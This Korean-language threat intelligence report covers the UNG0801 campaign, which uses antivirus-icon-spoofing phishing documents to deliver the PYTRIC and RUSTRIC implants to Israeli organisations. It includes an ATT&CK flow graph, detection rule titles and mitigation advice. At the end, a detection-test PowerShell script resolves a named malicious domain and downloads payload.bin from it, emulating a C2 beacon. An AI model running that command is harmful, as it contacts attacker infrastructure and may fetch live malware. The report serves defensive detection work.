UNG0801: AV 아이콘 스푸핑을 통한 이스라엘 표적 위협 활동
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 악성 PDF 및 Word 문서를 무기화하여 안티바이러스 아이콘을 스푸핑하고 이스라엘 조직을 목표로 하는 두 가지 연결된 캠페인을 설명합니다. 한 트랙은 PyInstaller로 패키징된 Python 임플란트인 PYTRIC을 제공하고, 다른 트랙은 매크로가 활성화된 Word 문서를 통해 실행되는 Rust 기반 임플란트인 RUSTRIC을 제공합니다. 두 페이로드 모두 호스트 정보를 수집하고 시스템 명령을 실행하며 설치된 보안 소프트웨어를 탐색합니다. PYTRIC은 추가로 파괴적인 기능을 포함하고 있습니다. 전달은 스피어피싱 첨부 파일과 클라우드 호스팅 링크(드롭박스 포함)로 진행되며, 명령 및 제어에는 텔레그램이 사용됩니다.
조사
SEQRITE Labs는 초기 피싱 유인물을 분석하고, 포함된 매크로를 추출하며, 드롭된 페이로드 체인을 재구성했습니다. PYTRIC은 파일 검색과 삭제 루틴을 가지고 있는 PyInstaller 번들로 확인되었고, 애널리스트는 Backup2040과 연관된 텔레그램 봇 자격 증명을 관찰했습니다. RUSTRIC은 28개의 안티바이러스 제품을 확인하고 WMI를 사용하여 16진수 인코딩된 페이로드를 트리거하는 Rust 바이너리로 프로파일링되었습니다. 인프라 분석은 드롭박스 링크와 이전에 연결된 IP 주소로 해결된 도메인에 대한 배달을 연결했습니다. netvigil.org.
완화
사용자에게 보안 도구 또는 AV 관련 유틸리티로 제시된 PDF 및 Word 첨부 파일을 주의 깊에 취급하도록 교육하십시오. 매크로가 포함된 문서를 차단하고 페이로드 전송에 사용되는 클라우드 스토리지 호스트로 연결하는 URL을 플래그하거나 제한하도록 이메일 보안을 구성하십시오. 엔드포인트에서는 PyInstaller 실행, 비정상적인 WMI 프로세스 생성, whoami, hostname, nslookup과 같은 기본 제공 유틸리티의 의심스러운 호출을 모니터링합니다. 확인된 악성 도메인 및 IP의 차단은 감염 경로를 더욱 방해할 수 있습니다.
대응
활동이 감지되면 영향을 받은 시스템을 격리하고 휘발성 데이터를 보존하며, 해시 기반 분류를 위해 악성 문서를 수집합니다. 의심스러운 WMI로 생성된 프로세스를 중지하고, 다운로드 폴더와 같은 공통 스테이징 위치에서 드롭된 페이로드를 제거합니다. 파일 삭제나 삭제 활동에 대한 포렌식 검증을 수행하고, 노출 가능성이 있는 자격 증명을 재설정하며, 후속 텔레그램 C2 통신을 모니터링합니다.
“graph TB %% 클라스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#c2f0c2 classDef malware fill:#ff9999 classDef process fill:#dddddd classDef operator fill:#ff9900 %% 액션 노드 attack_phishing[“<b>액션</b> – <b>T1566.001 피싱: 스피어피싱 첨부파일</b><br/>희생자가 악성 PDF 또는 Word 첨부파일이 포함된 이메일을 받습니다.”] class attack_phishing action attack_user_exec[“<b>액션</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>희생자가 악성 PDF 또는 Word 문서를 열어 실행을 트리거합니다.”] class attack_user_exec action attack_ingress_transfer[“<b>액션</b> – <b>T1105 도구 유입 전송</b><br/>PDF는 희생자에게 Dropbox에서 2단계 페이로드를 다운로드하라고 지시합니다.”] class attack_ingress_transfer action attack_exec_python[“<b>액션</b> – <b>T1059.006 명령 및 스크립트 인터프리터: Python</b><br/> PYTRIC (PyInstaller로 패키징된 Python 실행 파일)이 호스트에서 실행됩니다.”] class attack_exec_python action attack_exec_vb[“<b>액션</b> – <b>T1059.005 명령 및 스크립트 인터프리터: Visual Basic</b><br/>Word 문서의 VBA 매크로가 최종 페이로드를 해독하여 디스크에 기록합니다.”] class attack_exec_vb action attack_masquerade[“<b>액션</b> – <b>T1036.005 가장: 정당한 이름 또는 위치와 일치</b><br/>바이너리는 신뢰할 수 있는 안티바이러스 벤더를 모방하기 위해 이름이 지정됩니다 (체크 포인트, 센티넬원).”] class attack_masquerade action attack_obfuscate[“<b>액션</b> – <b>T1027 난독화된 파일 또는 정보</b><br/>페이로드는 매크로 내부에 16진 인코딩되어 정적 탐지를 피합니다.”] class attack_obfuscate action attack_proxy_exec[“<b>액션</b> – <b>T1218 시스템 이진 프록시 실행</b><br/>정당한 바이너리 (wmic, whoami.exe, hostname.exe, nslookup.exe)가 명령을 실행하는 데 사용됩니다.”] class attack_proxy_exec action attack_wmi[“<b>액션</b> – <b>T1047 윈도우 관리 계측 (WMI)</b><br/>WMI (Win32_Process.Create)를 통해 RUSTRIC가 실행됩니다.”] class attack_wmi action attack_sw_discovery[“<b>액션</b> – <b>T1518.001 보안 소프트웨어 탐색</b><br/>RUSTRIC는 알려진 경로와 프로세스를 확인하여 28개의 안티바이러스/EDR 제품을 열거합니다.”] class attack_sw_discovery action attack_process_discovery[“<b>액션</b> – <b>T1057 프로세스 탐색</b><br/>RUSTRIC는 엔드포인트에서 실행 중인 프로세스를 목록화합니다.”] class attack_process_discovery action attack_c2_web[“<b>액션</b> – <b>T1071.001 응용 계층 프로토콜: 웹 프로토콜</b><br/>임플란트는 표준 웹 프로토콜을 통해 C2와 통신합니다.”] class attack_c2_web action attack_c2_port[“<b>액션</b> – <b>T1571 비표준 포트</b><br/>통신이 포트 443을 사용하는 HTTPS로 이루어집니다.”] class attack_c2_port action attack_subvert_trust[“<b>액션</b> – <b>T1553 신뢰 제어 전복</b><br/>바이너리는 정당한 보안 벤더의 아이콘/브랜딩으로 위장됩니다.”] class attack_subvert_trust action attack_impair_defenses[“<b>액션</b> – <b>T1562.011 방어 억제: 보안 경고 속이기</b><br/>가짜 보안 경고는 악성 바이너리의 신뢰할 수 있는 외관을 강화합니다.”] class attack_impair_defenses action %% 툴 노드 tool_wmic[“<b>툴</b> – <b>이름</b>: wmic<br/><b>설명</b>: Windows 관리 계측 명령줄 유틸리티.”] class tool_wmic tool tool_whoami[“<b>툴</b> – <b>이름</b>: whoami.exe<br/><b>설명</b>: 현재 사용자 이름을 출력합니다.”] class tool_whoami tool tool_hostname[“<b>툴</b> – <b>이름</b>: hostname.exe<br/><b>설명</b>: 머신의 호스트 이름을 반환합니다.”] class tool_hostname tool tool_nslookup[“<b>툴</b> – <b>이름</b>: nslookup.exe<br/><b>설명</b>: DNS 쿼리 유틸리티.”] class tool_nslookup tool %% 파일 노드 file_malicious_pdf[“<b>파일</b> – <b>이름</b>: 악성 PDF<br/><b>목적</b>: 초기 지침의 전달 벡터.”] class file_malicious_pdf file file_malicious_word[“<b>파일</b> – <b>이름</b>: 악성 Word<br/><b>목적</b>: 최종 페이로드를 해독하는 VBA 매크로를 포함합니다.”] class file_malicious_word file file_dropbox[“<b>파일</b> – <b>이름</b>: Dropbox 페이로드 링크<br/><b>목적</b>: 2단계 PYTRIC 실행 파일을 호스팅합니다.”] class file_dropbox file %% 악성코드 노드 malware_pytric[“<b>악성코드</b> – <b>이름</b>: PYTRIC<br/><b>설명</b>: PyInstaller로 패키징된 Python 백도어.”] class malware_pytric malware malware_rustric[“<b>악성코드</b> – <b>이름</b>: RUSTRIC<br/><b>설명</b>: 탐색 및 C2를 위해 WMI로 실행되는 구성 요소.”] class malware_rustric malware %% 분기를 위한 연산자 노드 op_and1((“AND”)) class op_and1 operator %% 연결 attack_phishing u002du002d>|전달하는| file_malicious_pdf attack_phishing u002du002d>|전달하는| file_malicious_word file_malicious_pdf u002du002d>|희생자가 여는| attack_user_exec file_malicious_word u002du002d>|희생자가 여는| attack_user_exec attack_user_exec u002du002d>|트리거| attack_ingress_transfer attack_ingress_transfer u002du002d>|다운로드| file_dropbox file_dropbox u002du002d>|제공| malware_pytric attack_user_exec u002du002d>|실행| attack_exec_vb attack_exec_vb u002du002d>|기록| malware_rustric attack_ingress_transfer u002du002d>|실행| attack_exec_python attack_exec_python u002du002d>|실행| malware_pytric malware_pytric u002du002d>|사용| attack_obfuscate malware_pytric u002du002d>|사용| attack_masquerade attack_obfuscate u002du002d>|지원| attack_proxy_exec attack_masquerade u002du002d>|지원| attack_proxy_exec attack_proxy_exec u002du002d>|호출| tool_wmic attack_proxy_exec u002du002d>|호출| tool_whoami attack_proxy_exec u002du002d>|호출| tool_hostname attack_proxy_exec u002du002d>|호출| tool_nslookup tool_wmic u002du002d>|실행| attack_wmi attack_wmi u002du002d>|실행| malware_rustric malware_rustric u002du002d>|수행| attack_sw_discovery malware_rustric u002du002d>|수행| attack_process_discovery attack_sw_discovery u002du002d>|피드로 이동| attack_c2_web attack_process_discovery u002du002d>|피드로 이동| attack_c2_web attack_c2_web u002du002d>|사용| attack_c2_port attack_c2_web u002du002d>|활성화| attack_subvert_trust attack_c2_web u002du002d>|활성화| attack_impair_defenses %% 스타일링 class attack_phishing,attack_user_exec,attack_ingress_transfer,attack_exec_python,attack_exec_vb,attack_masquerade,attack_obfuscate,attack_proxy_exec,attack_wmi,attack_sw_discovery,attack_process_discovery,attack_c2_web,attack_c2_port,attack_subvert_trust,attack_impair_defenses action class tool_wmic,tool_whoami,tool_hostname,tool_nslookup tool class file_malicious_pdf,file_malicious_word,file_dropbox file class malware_pytric,malware_rustric malware class op_and1 operator “
공격 흐름
탐지
명령 및 제어 채널로서의 텔레그램 남용 가능성(콘도마명을 통한)
보기
타사 서비스/도구를 통한 데이터 침투/유출/C2 가능성 (dns를 통한)
보기
시스템 열거 가능성 (명령줄을 통한)
보기
이스라엘을 표적으로 하는 AV 아이콘 스푸핑에 집착하는 위협 클러스터 추적: UNG0801 탐지를 위한 IOC (SourceIP)
보기
이스라엘을 표적으로 하는 AV 아이콘 스푸핑에 집착하는 위협 클러스터 추적: UNG0801 탐지를 위한 IOC (DestinationIP)
보기
이스라엘을 표적으로 하는 AV 아이콘 스푸핑에 집착하는 위협 클러스터 추적: UNG0801 탐지를 위한 IOC (HashSha256)
보기
특정 도메인 및 IP를 사용하는 C2 통신 [Windows 네트워크 연결]
보기
악성 PDF 및 임플란트 실행 탐지 operation IconCat [Windows 프로세스 생성]
보기
시뮬레이션 실행
사전 조건: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 원격 정보를 생성하는 것을 목표로 합니다. 추상적 또는 관련없는 예제는 오진을 초래할 것입니다.
-
공격 내러티브 및 명령:
공격자는 도메인을 사전에 등록하였습니다 stratioai.org 그리고 이를 159.198.68.25 (손상된 VPS)로 해결할 수 있도록 구성했습니다. PowerShell 원라이너를 사용하여 소규모 페이로드를 다운로드한 후 지속적인 역셸을 유지하는 C2 비콘을 시작합니다. 아웃바운드 연결은 HTTPS(포트 443)를 통해 일반 트래픽으로 혼합되지만 방화벽은 목적지 IP와 DNS 쿼리를 기록하여 시그마 규칙을 만족시킵니다. -
회귀 테스트 스크립트:
# ------------------------------------------------- # 탐지 유효성 검사를 위한 시뮬레이션된 C2 비콘 # ------------------------------------------------- # 1. 악성 도메인 해결(DNS 쿼리 강제) $maliciousDomain = "stratioai.org" $resolved = [System.Net.Dns]::GetHostAddresses($maliciousDomain) Write-Host "Resolved $maliciousDomain to $($resolved -join ', ')" # 2. 악성 IP( C2)로 HTTPS 연결 설정 $maliciousIP = "159.198.68.25" $url = "https://$maliciousDomain/payload.bin" try { $response = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10 Write-Host "C2 request succeeded, size: $($response.ContentLength) bytes" } catch { Write-Error "C2 request failed: $_" } # 3. 선택 사항: 채널을 30초 동안 활성 유지 Start-Sleep -Seconds 30 # ------------------------------------------------- -
정리 명령:
# 임시 파일 제거(이 스크립트에서는 생성되지 않음) # DNS 캐시 삭제하여 실수로 재사용 방지 ipconfig /flushdns Write-Host "정리 완료."